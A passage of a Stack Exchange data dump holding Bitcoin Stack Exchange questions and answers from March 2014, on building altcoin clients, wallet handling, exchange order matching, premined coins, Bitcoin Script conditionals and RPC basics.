  <row Id="24140" PostTypeId="2" ParentId="23724" CreationDate="2014-03-30T15:59:43.833" Score="1" Body="&lt;p&gt;The Litecoin source tree, in the doc/ folder, provides a &lt;a href=&quot;https://github.com/litecoin-project/litecoin/blob/v0.8.6.3-mark2/doc/build-msw.md&quot; rel=&quot;nofollow&quot;&gt;file regarding building on Windows&lt;/a&gt;, using &lt;a href=&quot;http://www.mingw.org/&quot; rel=&quot;nofollow&quot;&gt;MinGW and MSYS&lt;/a&gt;. I can't personally vouch for those instructions, never having used them myself, so if you go that route, good luck. The way that the release binaries are built, if I'm not mistaken, is using the &lt;a href=&quot;http://www.gitian.org/&quot; rel=&quot;nofollow&quot;&gt;Gitian builder&lt;/a&gt;. If you're looking to do a Windows build, I would try that. If you want to actually use Gitian, you can clone the repo, and use the readme file to get Gitian set up, and then follow &lt;a href=&quot;https://github.com/litecoin-project/litecoin/blob/v0.8.6.3-mark2/doc/release-process.md#perform-gitian-builds&quot; rel=&quot;nofollow&quot;&gt;the build segment of the release process&lt;/a&gt; to do the actual build. On the other hand, if you're not necessarily looking for determinism or the ability to reproduce the exact build, you could try taking a look at the &lt;a href=&quot;https://github.com/litecoin-project/litecoin/tree/v0.8.6.3-mark2/contrib/gitian-descriptors&quot; rel=&quot;nofollow&quot;&gt;Gitian build scripts&lt;/a&gt; to see what packages are being used, what commands are run, et cetera, and try to reproduce that on a Linux system.&lt;/p&gt;&#xA;" OwnerUserId="1161" LastActivityDate="2014-03-30T15:59:43.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24141" PostTypeId="2" ParentId="21105" CreationDate="2014-03-30T17:36:17.467" Score="1" Body="&lt;p&gt;&lt;strong&gt;Do not&lt;/strong&gt; use bitcoind's accounts feature. Handle user/address associations in your DB instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even Gavin Andresen himself has said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... the bitcoind &quot;accounts&quot; code hasn't been optimized for that.  For&#xA;  example, computing an account's balance loops through all transactions&#xA;  in the wallet, so will take an increasing amount of time the more&#xA;  transactions you have in the wallet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=40430.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=40430.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how to handle transactions/purchases in your game, I'd recommend setting up a field in your users table to store a user's balance. When a user deposits to their personal deposit address you'd update the field with their new balance. Set up a cron task that runs every minute and calls a script that does something like this: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pull latest 10000 transactions from bitcoind and store them in an array.&lt;/li&gt;&#xA;&lt;li&gt;Filter out transactions with less than 2 confirmations, or whatever number makes you feel comfortable.&lt;/li&gt;&#xA;&lt;li&gt;Insert all confirmed transactions into a DB table called &quot;transactions.&quot; Don't allow duplicates. Add a boolean field called &quot;processed&quot;&lt;/li&gt;&#xA;&lt;li&gt;When you're ready to process transactions to the users' accounts, pull all rows where processed = 0 and category = 'receive'. Process each deposit by adding the value of the transaction to the user's account, and set processed = 1 on the processed transactions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When a user buys something in-game, just subtract the purchase amount from their balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will be a lot more efficient, scalable, and easy-to-use than relying on bitcoind for user balance-keeping. It will also be a lot easier to migrate data around in the future, if necessary.&lt;/p&gt;&#xA;" OwnerUserId="3907" LastActivityDate="2014-03-30T17:36:17.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24142" PostTypeId="1" AcceptedAnswerId="24171" CreationDate="2014-03-30T17:53:20.220" Score="1" ViewCount="220" Body="&lt;p&gt;By default, rippled seems to log at the NFO level, which spits out many megabytes of log files each day. How do I reduce this level? According to the &lt;a href=&quot;https://ripple.com/wiki/Rippled_Troubleshooting#Logging_Severity&quot; rel=&quot;nofollow&quot;&gt;Ripple wiki&lt;/a&gt;, we can edit pass arguments to rippled when starting it, or edit the configuration file via [rpc_startup], but neither of these methods had any effect for me (on v0.23.0).&lt;/p&gt;&#xA;" OwnerUserId="14383" LastActivityDate="2014-03-31T21:48:17.623" Title="How do I reduce the loglevel on rippled?" Tags="|ripple|ripple-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24143" PostTypeId="1" CreationDate="2014-03-30T18:06:58.880" Score="6" ViewCount="1918" Body="&lt;p&gt;What are the steps a SPV client takes in order to sync?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Connect to a peer&lt;/li&gt;&#xA;&lt;li&gt;Set bloom filter for wallet addresses&lt;/li&gt;&#xA;&lt;li&gt;Download all block-headers since latest checkpoint &lt;/li&gt;&#xA;&lt;li&gt;Request every block again with filters set &lt;/li&gt;&#xA;&lt;li&gt;Update wallet balance based on returned blocks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Obviously the above steps are wrong since it makes no sense to first download all blockheaders to determine the correct chain, and then re-request all blocks to calculate the wallet balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what is the correct procedure?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-01T02:01:36.760" Title="How to create a SPV client?" Tags="|blockchain|client|development|block-header|spv|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24144" PostTypeId="1" AcceptedAnswerId="24420" CreationDate="2014-03-30T19:42:12.723" Score="2" ViewCount="342" Body="&lt;p&gt;How does cryptsy.com allocate trades for many orders with same price ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orders can come from one or many accounts, my question applies to both situations, but it's obviously more interesting how they are executed when orders come from multiple accounts from different people. For example, if I see order for 100 BTC and want to attach my order for 0.1 BTC to the same price tag, what are my chances of getting a deal ? Do I get a deal only after all 100BTC exchanged ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obvously my question applies to both types: buy and sell orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do other exchanges have same order allocation schema as Cryptsy ? If not, what allocation schemas do they use ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of possible allocations that I can think of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) First Come First Serve - earliest order gets deal first&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Last Come First Serve - latest order gets deal first&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Proportional - deal amount is distributed between orders proportional to amount of these orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Minimal split - system picks closest amount to avoid splitting orders into many small fractions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Small orders first, Large Last - close as many orders as possible to keep minimum number of open orders in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Each account gets equal share from new deal regardless of order size or time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) Random per account - equal probability for each participating account to get a deal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8) Random per order - gives incentive to make many smaller orders rather than one large order&lt;/p&gt;&#xA;" OwnerUserId="14400" LastEditorUserId="14400" LastEditDate="2014-03-30T20:14:04.183" LastActivityDate="2014-04-08T18:44:40.480" Title="How does cryptsy.com allocate trades for many orders with same price" Tags="|exchanges|exchange-rate|trade|exchange-order|cryptsy|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24145" PostTypeId="2" ParentId="8070" CreationDate="2014-03-30T20:07:18.237" Score="1" Body="&lt;p&gt;I've played around with the blockchain.info wallet, and here's what it looks like is happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info shows the &quot;This Is Your Bitcoin Address&quot; by date the address was added to your wallet (not the date of the oldest transaction on the blockchain)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To determine blockchain.info's &quot;sort order&quot; for your addresses, export a paper wallet (from the button on the &quot;Wallet Home&quot; tab)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order of addresses on that pdf is the order Blockchain.info will use when choosing your Default Address. You need to archive/remove all of the addresses above your DESIRED address for it to be your default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to change the default address you have two options:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;If you don't need the 'old' address anymore&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Simply transfer the BTC out of the previous address into a new one (either one you already have, or click on the 'create new address' button).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Archive the 'old' address. It's still available in your wallet under the Receive Money / Archived tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Archived addresses won't be shown as your main address.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;If you want to keep the 'old' address in your wallet&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A little bit trickier, you'll be DELETING the address &amp;amp; private key, then re-adding it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate your paper wallet backup, and have it open. Make SURE you have the private key of the address(es) in front of you. &lt;/li&gt;&#xA;&lt;li&gt;Archive the address(es) above your desired address&lt;/li&gt;&#xA;&lt;li&gt;Go to the 'Archive' tab and find those archived addresses. Check the box next to them and select DELETE. (blockchain.info will ask you if you're sure. Then they triple check. It's a good idea to make sure that yes - you still have the private keys saved from step 1 above)&lt;/li&gt;&#xA;&lt;li&gt;Re-import the private keys taken from your paper wallet) for your addresses. It's under the &quot;Import / Export&quot; tab. When importing, select IMPORT KEYS DIRECTLY (instead of SWEEP KEYS) if you want to keep the same address in your wallet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14929" LastActivityDate="2014-03-30T20:07:18.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24146" PostTypeId="1" CreationDate="2014-03-31T01:53:16.907" Score="1" ViewCount="60" Body="&lt;p&gt;The logic of this function is quite simple:&#xA;1, mark inputs spent&#xA;   Call coins.Spend()&#xA;2, add new outputs to database.&#xA;   Call inputs.SetCoins()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is in step1, it invalidate the old output because it has been spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in function coins.Spend(), I only found it kick out the spent output, I didn't find  where the function update the database. If the old output is kicked, the database should also be updated, but coins.Spend() is only update the memory data structure.&lt;/p&gt;&#xA;" OwnerUserId="14932" LastEditorUserId="132" LastEditDate="2014-03-31T11:59:06.477" LastActivityDate="2014-03-31T11:59:06.477" Title="A question about CTransaction::UpdateCoins() in 0.8.6" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24147" PostTypeId="2" ParentId="24144" CreationDate="2014-03-31T01:56:21.900" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/20759/14400&quot;&gt;this answer&lt;/a&gt; it allocates according to rule #1 - First Some First Serve.&lt;/p&gt;&#xA;" OwnerUserId="14400" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-03-31T01:56:21.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24148" PostTypeId="2" ParentId="22849" CreationDate="2014-03-31T04:08:12.273" Score="1" Body="&lt;p&gt;All coins use ECDSA to sign transactions in a similar manner, the main difference between most coins is what would constitute a valid signature, typically the first character(s) of a public address (e.g. bitcoin starts with 1 or 3 and litecoin starts with L). Therefore a certain public key could not be used directly to sign a transaction of another coin, with exception to coins such as devcoin, which uses the same address type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could write a program which starting from a certain private key, auto-increments until a valid address is found.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-31T04:08:12.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24149" PostTypeId="1" CreationDate="2014-03-31T07:39:15.483" Score="9" ViewCount="391" Body="&lt;p&gt;If a new crypto v crypto exchange were to be built and launched. What would tempt you to use it rather than what you currently use? Or what improvements would you like to see from the way things work now. &lt;/p&gt;&#xA;" OwnerUserId="14936" LastActivityDate="2018-04-12T11:57:11.907" Title="What would a new exchange need to be better than the rest?" Tags="|security|exchanges|mtgox|exchange-fees|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24150" PostTypeId="2" ParentId="24146" CreationDate="2014-03-31T08:46:08.007" Score="1" Body="&lt;p&gt;Looks for pcoinsTip-&gt;Flush(), which batch updates the underlying database CCoinsView.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not called for every update as that would require many writes. The way it is implemented now means many outputs can be added and marked spent entirely without needing to hit disk. The result is a disk database that is slightly out of data with the memory version, which means more work to redo when a node crashes, but this case is rare, and having faster block relay is more important.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="132" LastEditDate="2014-03-31T11:58:52.853" LastActivityDate="2014-03-31T11:58:52.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24151" PostTypeId="2" ParentId="24124" CreationDate="2014-03-31T09:23:27.420" Score="8" Body="&lt;p&gt;Bitcoin transactions usually carry change, and to increase privacy and security, it is certainly no worse to generate a new address every time for receiving change than to reuse old addresses. Details maybe belong into their own question; however, it is well within the realm of reason to expect a future where most Bitcoin transactions include two new addresses (one for the person paid and one for the change back to the payer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we dream up a future where arbitrarily small micropayments can be handled by Bitcoin, then I would actually call the 5k transactions per user that could hence generate 10k new Bitcoin addresses a vast understatement of the potential. I'm thinking that rather than paying my mobile carrier for data roaming, I'd want to use micropayments to pay for routing of IP packets in adhoc wifi networks (ok, maybe not for each individual packet given the overhead---but I could, from a user's perspective, want that to happen for every 10 kb chunk of data or so). And I can envision much the same thing with my regular ISP, or even with most websites I frequent (and, come to think about it, maybe some of them should pay me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with this is that all these transactions end up in the blockchain, occupying a huge amount of disk space. That is why many suggest that micropayments ultimately belong off-blockchain, meaning some other solution should be found for them that does not place the burden on Bitcoin. In my example, it is easy to see why this is necessary: Even if only 100 nodes kept the entire blockchain, then my 10 kb chunk of transmission data would occupy much more than that in distributed blockchain storage just to finalize my payment for it. Obviously not just inefficient but truly unsustainable at scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence I would say that as far as Bitcoin's blockchain is concerned, we need not worry about seeing quite that many addresses added to it. But if whatever off-blockchain solutions we will adopt for micropayments in the future uses Bitcoins' address scheme as well, then we may well, outside the blockchain, envision such a massive use of Bitcoin addresses.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-03-31T20:10:30.363" LastActivityDate="2014-03-31T20:10:30.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24152" PostTypeId="1" CreationDate="2014-03-31T10:04:01.663" Score="2" ViewCount="237" Body="&lt;p&gt;If the address is deleted (while using an online provider like CoinJar), does that mean the coins are lost for good?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or all public/private keys are still held by the company and the address deleted (and coins) can be recovered? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the securing of public and private keys be treated the same by most online wallet service providers?&lt;/p&gt;&#xA;" OwnerUserId="14939" LastActivityDate="2014-03-31T10:04:01.663" Title="If I accidentally delete an address with funds" Tags="|address|private-key|public-key|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24153" PostTypeId="1" AcceptedAnswerId="24156" CreationDate="2014-03-31T11:32:26.703" Score="0" ViewCount="679" Body="&lt;p&gt;I have cent os in my amazon ec2 instance i try &lt;a href=&quot;http://iamsto.wordpress.com/2014/01/08/howto-compile-and-install-litecoind-on-centos/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; to install litecoin daemon after done compilation and run ./litecoind gives the following error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;litecoind: key.cpp:134: {anonymous}::CECKey::CECKey(): Assertion `pkey != __null' failed.&#xA;Aborted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to configure litecoin.conf in AMI?&lt;/p&gt;&#xA;" OwnerUserId="14629" LastEditorUserId="14629" LastEditDate="2014-03-31T13:03:41.557" LastActivityDate="2014-04-12T12:46:04.880" Title="How to install litecoin daemon in AMI" Tags="|bitcoind|litecoin|daemon|amazon-web-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24154" PostTypeId="1" CreationDate="2014-03-31T12:15:33.220" Score="5" ViewCount="2524" Body="&lt;p&gt;When starting an altcoin from scratch, how would distributing premined coins to a certain community affect the currency?&lt;/p&gt;&#xA;" OwnerUserId="9901" LastEditorUserId="516" LastEditDate="2018-03-08T03:04:42.853" LastActivityDate="2018-03-08T03:04:42.853" Title="What are the pros and cons of premined altcoins?" Tags="|altcoin|altcoin-development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24155" PostTypeId="2" ParentId="24154" CreationDate="2014-03-31T13:04:02.707" Score="1" Body="&lt;p&gt;I'd say a fair distribution of premined coins has these benefits:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gives the coin visibility over the 80+ altcoins out there, some with competing target markets (e.g. PesetaCoin vs SpainCoin - latter is premined and will be distributed)&lt;/li&gt;&#xA;&lt;li&gt;Creates interest in it (mostly from the group that can potentially receive them)&lt;/li&gt;&#xA;&lt;li&gt;A lot of people end up with at least some of those coins, increasing the possibilities some will use such coins to pay for stuff (kick-starting an economy using this coin) rather than simply cashing them right away&lt;/li&gt;&#xA;&lt;li&gt;Even for those who do cash the coins right away, it's literally money fallen from the sky, created ex-nihilo. Just like fiat, but directly benefiting them.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-31T13:04:02.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24156" PostTypeId="2" ParentId="24153" CreationDate="2014-03-31T14:11:27.627" Score="0" Body="&lt;p&gt;In my personal experience, CentOS is the absolute worst choice of Server OS for compiling altcoins. I have yet to compile and run a single daemon on this Operating System. Cent OS is dead. Instead, use Ubuntu or any other Debian based OS and enjoy the benefits of painless compiling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're in a situation where your main application resides on a centos server, and you don't want to change up your whole operation my suggestion would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;buy a small vps and put ubuntu on it(install fail2ban and clamav, in addition to dependencies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then download and configure yaproxy to safely tunnel into the vps(you can make rpc calls from the subnet without outside exposure). now make a database on the main server to store your wallet credentials. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now you need to setup ufw at this point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should allow with UFW the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;connection to the default port of the wallet from any ip or a list of trusted nodes&#xA;connection for yaproxy confined to the ip of your main server.&#xA;connection to the rpcport from localhost to the subnet address of the main server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway, probably went way into left field on this one, but it should be enough to get your headed in the right direction when you inevitably realize why you can't compile correctly on cent os. it's because no body updates the yum package repositories, because cent os is just waning in popularity for various reasons.&lt;/p&gt;&#xA;" OwnerUserId="12447" LastEditorUserId="12447" LastEditDate="2014-03-31T14:18:41.077" LastActivityDate="2014-03-31T14:18:41.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24157" PostTypeId="2" ParentId="24149" CreationDate="2014-03-31T14:16:35.310" Score="2" Body="&lt;p&gt;In my humble opinion the &lt;strong&gt;ideal exchange works without needing to be trusted&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean that this exchange must find a way to work without having direct control on customer funds, this controls (private key) remain in the hands of the customers.&#xA;If this is not possible for the trade to occur, limiting as much as possible the funds controlled by the exchange is the most desiderable feature to me.&#xA;This is needed to avoid what happens to mtgox&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think (not sure) &quot;smart contracts&quot; of new cryptos like Mastercoin, Counterparty, BitShares, Ethereum could technically address this solution&lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2014-03-31T14:16:35.310" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24159" PostTypeId="2" ParentId="24154" CreationDate="2014-03-31T14:35:29.380" Score="3" Body="&lt;p&gt;pro's:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dev gets paid&lt;/li&gt;&#xA;&lt;li&gt;some bounties and coin distribution can occur&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;con's:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;depending on the size of the premine, developer could get an unreasonably large amount of coins for what is essentially a copy and paste job.&lt;/li&gt;&#xA;&lt;li&gt;negative preconceived opinions about the coin because it is premined.&lt;/li&gt;&#xA;&lt;li&gt;dev could be a scammer and dump all the coins, rapidly deflating the price(ie, a pump and dump)&lt;/li&gt;&#xA;&lt;li&gt;those who claim the bounties may run with the money and pull the services at a moments notice once the bounty is paid.&lt;/li&gt;&#xA;&lt;li&gt;coin may be subject to 51% attacks, difficulty stranding attacks, and other undocumented forking attacks from anti-premine &quot;activists&quot;, who may be the vocal minority but often have the majority of hash on any given coin.&lt;/li&gt;&#xA;&lt;li&gt;the coin will be under constant attack from trolls&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12447" LastActivityDate="2014-03-31T14:35:29.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24160" PostTypeId="1" AcceptedAnswerId="24161" CreationDate="2014-03-31T14:42:52.237" Score="2" ViewCount="951" Body="&lt;p&gt;I'm trying to write a scriptPubKey for a transaction which checks that the hash of the top value in the scriptSig is equal to &lt;em&gt;either&lt;/em&gt; one of two fixed values and if so will do the normal transaction signature checks to allow the owner of a specific bitcoin address to spend them; if the scriptSig value is not equal to either one of the fixed values then the spending transaction should be marked as invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to keep the scriptPubKey as small as possible, i.e. avoiding hard-coded duplications of pubKeyHash and/or duplications of large chunks of scripting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've got so far...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scriptPubKey:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160 OP_DUP &amp;lt;B&amp;gt; OP_EQUAL OP_DUP&#xA;OP_NOTIF OP_DROP OP_DUP &amp;lt;C&amp;gt; OP_EQUAL OP_ENDIF&#xA;OP_VERIFY OP_DROP&#xA;OP_DUP OP_HASH160 &amp;lt;pubKeyHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The scriptSig would look like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scriptSig:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;sig&amp;gt; &amp;lt;pubKey&amp;gt; &amp;lt;A&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The intention is that the transaction would pay out if ( HASH160(A)=B &lt;em&gt;or&lt;/em&gt; HASH160(A)=C ) &lt;em&gt;and&lt;/em&gt; sig, pubKey and pubKeyHash were all valid in the normal way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My worry arises from OP_NOTIF; the scripting section of the Bitcoin wiki says that OP_NOTIF removes the top stack value...I assume that it is removed as the OP_NOTIF evaluates it and it is removed regardless of whether it is TRUE or FALSE. Is that correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter assumption is why I've duplicated the result of the first OP_EQUAL so that I can OP_VERIFY it after the conditional line (assuming that it was TRUE and hasn't otherwise been OP_DROPped by the conditional line).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would my proposed scriptPubKey have the desired result (without nasty side effects) or is there something smaller/simpler (e.g. using OP_IFDUP instead of an OP_DUP and a conditional OP_DROP) or, if my script is plain wrong, what would a workable script look like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should say that the point of this transaction is not to effect a multi-&lt;em&gt;signature&lt;/em&gt; transaction; it's to effect a kind of single-signature &lt;em&gt;plus&lt;/em&gt; 1-of-2 'passwords' transaction.&lt;/p&gt;&#xA;" OwnerUserId="14726" LastEditorUserId="14726" LastEditDate="2014-03-31T15:58:39.567" LastActivityDate="2014-10-27T19:50:16.547" Title="Conditional scripting: how does OP_NOTIF (and OP_IF) operation(s) affect the stack?" Tags="|script|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24161" PostTypeId="2" ParentId="24160" CreationDate="2014-03-31T15:56:45.900" Score="1" Body="&lt;p&gt;OP_IF and OP_NOTIF always remove the top stack element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is a non-standard transaction and may not be relayed by the network.  It would be interesting to see what happens.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="9301" LastEditDate="2014-03-31T16:02:12.867" LastActivityDate="2014-03-31T16:02:12.867" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24162" PostTypeId="1" CreationDate="2014-03-31T16:49:20.953" Score="-1" ViewCount="6141" Body="&lt;p&gt;If you're mining at a yield of xBTC/Ghs how would you convert that to xBTC/Khs?  For example; what would .0009231BTC/Ghs convert to in /Khs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, to calculate your total projected yield would you multiply the rate above by the number of seconds your rig is running? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="14945" LastEditorUserId="5406" LastEditDate="2016-04-10T10:26:16.993" LastActivityDate="2016-04-10T10:26:16.993" Title="Yield Conversion" Tags="|hashpower|terminology|" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-31T18:02:24.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="24163" PostTypeId="1" AcceptedAnswerId="24164" CreationDate="2014-03-31T17:18:38.293" Score="9" ViewCount="10452" Body="&lt;p&gt;What does Bitcoin RPC mean and how is it used? I see the term RPC referenced multiple times, but not show what it means and how its used. I see it in JSON-RPC. I know json is just a data format, meaning it looks something like this: { apple: red, banana: yellow } &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2020-02-19T20:03:06.010" LastActivityDate="2020-02-19T20:03:06.010" Title="What does the Bitcoin RPC mean and how is it used?" Tags="|json-rpc|terminology|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24164" PostTypeId="2" ParentId="24163" CreationDate="2014-03-31T17:26:02.327" Score="12" Body="&lt;p&gt;RPC = Remote Procedure Calls.  That describes a &lt;a href=&quot;http://searchsoa.techtarget.com/definition/Remote-Procedure-Call&quot; rel=&quot;noreferrer&quot;&gt;system when you send a command&lt;/a&gt; to a remote system where it's processed and results are returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin RPC is synonymous with JSON-RPC in my opinion, although JSON-RPC itself is not Bitcoin-specific.  JSON-RPC simply implies that the RPC interaction will use JSON as its data structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin RPC is used by authenticated clients to connect to a running instance of bitcoind. The clients issue commands to send transactions, get status, and a variety of other purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin RPC commands are &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;noreferrer&quot;&gt;on the wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastEditorUserId="11121" LastEditDate="2014-03-31T17:31:44.587" LastActivityDate="2014-03-31T17:31:44.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24165" PostTypeId="2" ParentId="24162" CreationDate="2014-03-31T17:47:03.310" Score="1" Body="&lt;p&gt;kilo, mega, giga, tera, peta, exa, zetta, yotta..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;these are all SI prefixes, each multiply by 1000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be a little confused since binary base values however are different, requiring powers of 2 instead of powers of 10.. that is why its 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048, etc. This is why 1024 bytes = 1 kilobyte, since it does not conform with SI. However this is not the case with hashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One gigahash would be equal to 1000 megahashes, which is equal to 1,000,000 kilohashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find how many bitcoins you are getting per kilohash you could divide the bitcoins you get per gigahash by 1,000,000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to calculate how many hashes you will create over a certain period of time (in seconds), simply multiply rate * seconds to get the expected number of hashes to be preformed in this period of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of difficulty changes, you can only estimate your payout rate until the next difficulty change. The difficulty statistics can be found here: &lt;a href=&quot;https://bitcoinwisdom.com/bitcoin/difficulty&quot; 